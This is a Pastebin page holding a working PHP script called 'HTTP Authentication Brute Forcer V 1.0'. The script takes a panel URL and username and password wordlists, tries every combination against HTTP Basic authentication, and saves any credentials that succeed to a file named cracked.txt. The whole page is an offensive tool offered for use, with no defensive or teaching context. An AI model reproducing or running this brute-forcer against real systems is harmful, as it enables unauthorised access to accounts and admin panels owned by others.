Advertisement
s0w

HTTP Authentication Brute Forcer V 1.0

s0w
Jun 24th, 2016
353
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.90 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. /*
  5. [~] Info: Create 2 txt files for Users & Pass [~]
  6.  
  7. */
  8.  
  9.  
  10. error_reporting(0);
  11. set_time_limit(0);
  12. ini_set('memory_limit', '640000M');
  13.  
  14. echo"
  15.  
  16. [#]==============================================[#]
  17. [#]  HTTP Authentication Brute Forcer V 1.0      [#]
  18. [#]  Coded By: s0w & Nani17                      [#]
  19. [#]  fb.com/root.sy3 / fb.com/s0w.egy            [#]
  20. [#]  Last Update : 10/8/2016                     [#]
  21. [#]==============================================[#]
  22.  
  23. ";
  24.  
  25.  
  26. function curl($url,$user,$pass){
  27. $ch = curl_init();
  28. curl_setopt($ch, CURLOPT_URL,$url);
  29. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  30. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  31. curl_setopt($ch, CURLOPT_USERPWD, "{$user}:{$pass}");
  32. $result = curl_exec($ch);
  33. $dd = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  34. curl_close($ch);
  35.  
  36.    return $dd;
  37. }
  38.  
  39.     function save($site,$user,$pass){
  40.         $fo = fopen("cracked.txt","a+");
  41.         fwrite($fo,"[+] $site\n    $user:$pass\n\n");
  42.         fclose($fo);    
  43.         }
  44.  
  45. echo "\n(Panel URL)      => ";
  46. $panel_url = trim(fgets(STDIN,1024));
  47.  
  48. echo "\n(usernames List) => ";
  49. $user_file = trim(fgets(STDIN,1024));
  50. $users     = file($user_file);
  51. $users     = array_unique($users);
  52. $count_u   = count($users);
  53.  
  54. echo "\n(passwords List) => ";
  55. $pass_file = trim(fgets(STDIN,1024));
  56. $pws       = file($pass_file);
  57. $pws       = array_unique($pws);
  58. $count_w   = count($pws);
  59.  
  60.           sleep(1);
  61.           echo "\n\n\t\t[*] URL       : $panel_url
  62.             usernames : $count_u user
  63.             passwords : $count_w pass
  64.           \t\t\n\t\t    Cracking ... \n\n";
  65.  
  66.    
  67. foreach ($users as $user){ 
  68.     $user = trim($user);
  69.  
  70. foreach ($pws as $pass){   
  71.     $pass = trim($pass);
  72.    
  73. $go = curl($panel_url,$user,$pass);
  74.  
  75.     if($go == '200'){
  76.         echo "[+] $user : $pass\n";
  77.         save($panel_url,$user,$pass);
  78.         exit;
  79.        
  80.         }else  
  81.       echo "[-] $panel_url : ($user : $pass) => error\n";
  82. }}
  83.  
  84. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement